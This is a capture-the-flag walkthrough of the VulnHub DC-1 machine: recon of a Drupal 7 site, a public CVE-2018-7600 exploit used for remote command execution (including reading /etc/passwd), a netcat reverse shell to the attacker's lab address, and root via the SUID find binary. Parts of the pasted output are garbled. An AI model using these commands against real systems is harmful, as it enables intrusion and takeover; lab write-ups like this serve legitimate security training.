

From the people who brought you [WHAT THE CTF](#), CyberGuider is please to present its official walkthrough of DC1:1 from [VulnHUB](#). This system was a lot of fun and shows that simple misconfigurations can cause the system to be compromised. Here is how we started....

## RECON PHASE

Of course with a NMAP scan, you know the standard flags -sC -sV -A -p-..yea regular stuff. Check out the output

### PORT STATE SERVICE VERSION

**22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)**

| ssh-hostkey:

| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)

| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)

|\_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)

**80/tcp open http Apache httpd 2.2.22 (Debian)**

|*http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt //LICENSE.txt /MAINTAINERS.txt*

|*http-server-header: Apache/2.2.22 (Debian) |\_http-title: Welcome to Drupal Site | Drupal Site*

**111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100024 1 54200/tcp status |**

**100024 1 54610/udp status**

**54200/tcp open status 1 (RPC #100024)**

MAC Address: 00:0C:29:16:4F:B3 (VMware)


Device type: general purpose

Running: Linux 3.X

OS CPE: cpe:/o:linux:linux\_kernel:3

OS details: Linux 3.2 – 3.16 —**Oh man....DirtyCOW**

Let's see what we have here on PORT 80...Drupal



# Drupal Site

Home

User login

Username \*

Password \*

- [Create new account](#)
- [Request new password](#)

Log in

## Welcome to Drupal Site

No front page content has been created yet.

Now that we found the Drupal website, lets sharpen the axe a bit more with some Nikto and GOBUSTER scanning that reveals greater details about the system hosting this website. After seeing that we can grab a copy of robots.txt file via **WGET or CURL** (i.e. your choice), the robots.txt contains information about the disallowed directories on this site.

```
--2019-03-29 12:45:33-- http://192.168.66.130/robots.txt
Connecting to 192.168.66.130:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1561 (1.5K) [text/plain]
Saving to: 'robots.txt'

robots.txt      100%[=====>]  1.52K  --.-KB/s   in 0s
```

```
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used:    http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/wc/robots.html
#
# For syntax checking, see:
# http://www.sxw.org.uk/computing/robots/check.html

User-agent: *
Crawl-delay: 10
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
```

At this point, IT'S [DROOPESCAN](#) TIME!

```
# ./droopescan scan drupal -u http://192.168.66.130 -
[+] Themes found:
    seven http://192.168.66.130/themes/seven/
    garland http://192.168.66.130/themes/garland/

[+] Possible interesting urls found:
    Default admin - http://192.168.66.130/user/login

[+] Possible version(s):
    7.22
    7.23
    7.24
    7.25
    7.26

[+] Plugins found:
    ctools http://192.168.66.130/sites/all/modules/ctools/
        http://192.168.66.130/sites/all/modules/ctools/LICENSE.txt
        http://192.168.66.130/sites/all/modules/ctools/API.txt
    views http://192.168.66.130/sites/all/modules/views/
        http://192.168.66.130/sites/all/modules/views/README.txt
        http://192.168.66.130/sites/all/modules/views/LICENSE.txt
    image http://192.168.66.130/modules/image/
    profile http://192.168.66.130/modules/profile/
    php http://192.168.66.130/modules/php/
```

## Exploit Phase

And now for the exploit.....

After researching this exploitation, I found a great tool on GITHUB called “[Drupal 7 \(CVE-2018-7600 / SA-CORE-2018-002\)](#) by PIMPS”. By poisoning the recover password form (user/password) and triggering it with a file upload via ajax (/file/ajax), this exploitation allows us to perform `REMOTE CODE EXECUTION`. As I executed the exploit against the system, here are the outputs:

```

# python drupa7-CVE-2018-7600.py http://192.168.66.130 -c 'cat /etc/passwd'
()
=====
|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)          |
|                                by pimps                                |
=====

[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-UgeR0BbqoKaKefJdV7e0KFMgs_rq41Ve0cjSa0E85MI
[*] Triggering exploit to execute: cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mail List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:104::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:109:MySQL Server,,:/nonexistent:/bin/false

```

cat/etc/passwd

```

# python drupa7-CVE-2018-7600.py http://192.168.66.130 -c ls
()
=====
|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)          |
|                                by pimps                                |
=====

[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-tt0FeVgjKJ0aKcyenlir-4Nnzo2XHK3YQuit8VgbJCM
[*] Triggering exploit to execute: ls
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt
INSTALL.txt
LICENSE.txt
MAINTAINERS.txt
README.txt
UPGRADE.txt
authorize.php
cron.php
flag1.txt
includes
index.php
install.php
misc
modules
profiles
robots.txt
scripts
sites
themes
update.php
web.config

```

As I wonder what's in that **FLAG1.TXT**...with a little CAT action this was the output given:

```
$ cat flag1.txt
Every good CMS needs a config file - and so do you.
$
```

FLAG1.txt

This is good, now let's get a reverse-shell. Check with the fellows at [PENTEST Monkey Cheatsheet](#). Guess who found one that work..THIS GUY

```
# python drupa7-CVE-2018-7600.py http://192.168.66.130 -c 'rm /tmp/f;mkfifo /tmp/f;cat
/tmp/f|/bin/sh -i 2>&1|nc 192.168.66.128 1224 >/tmp/f' message and exit
()
-c COMMAND, --command COMMAND      Command to execute (default = id)
=====
| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
| by pimps                                              |
| -x PROXY, --proxy PROXY          Configure a proxy in the format |
|                                 http://127.0.0.1:8080/ (default = none) |
=====
[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-Cq2tUGJNGZkUkke4agRveCdtwbY01ovId9RAgZoApBE 7 <= 7.58
[*] Triggering exploit to execute: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.66.128 1224 >/tmp/f
(user_cancel_confirm_form) with the 'destination' variable and triggering it

# nc -nlvp 1224
listening on [any] 1224 ...
connect to [192.168.66.128] from (UNKNOWN) [192.168.66.130] 47809
/bin/sh: 0: can't access tty; job control turned off
use as attack v
```

After finding the **FLAG4** user and **HOME** directory, we found the next **FLAG4.txt**

```
flag4.txt groups=33(www-data)
$ cat flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
FLAG4.txt
```

[DCAU7](#) did a great job preparing this system with older Linux and misconfigurations for the attacker to have a path to privilege escalation (PRIVESC). Upon reviewing the post-exploit recon data it was found that the system is running **Linux 3.2.0-6-486 #1 Debian 3.2.102-1 i686 GNU/Linux**. This information was further confirmed with the **uname -mrs** command; this means that **DirtyCOW PRIVESC** should work. However, DCAU7 wanted us to do more work than just compiling an exploit and running it against the system so DirtyCOW did not work in this instance. Perhaps this is NOT THAT EASY.

## PRIVESC

Going back to the **POST EXPLOIT** recon data gather earlier and performing a few trials of other kernel exploits which failed, I notice that the find command can be used with root privilege

because of the *sticky bit* (*as root*). Further search confirm it as shown below.

**find / -perm -u=s -type f 2>/dev/null**

```
www-data@DC-1:/tmp$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmccrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
```

My research uncovered this great article about Abusing SUDO (Linux Privilege Escalation) by [Touhid Shaikh](#) which explained the process and why it works. Getting a better understanding of this process, maybe the PRIVESC is not so hard. Here is the PRIVESC for this box. With one line of command line kungfu we were able to get ROOT.

```
www-data@DC-1:/tmp$ find /bin -name nano -exec /bin/sh \;
find /bin -name nano -exec /bin/sh \;
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
```

**WOOT WOOT**

```
thefinalflag.txt  
# cat thefinalflag.txt  
cat thefinalflag.txt  
Well done!!!!
```

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7

TheFinalFlag.txt



**WE DID IT...**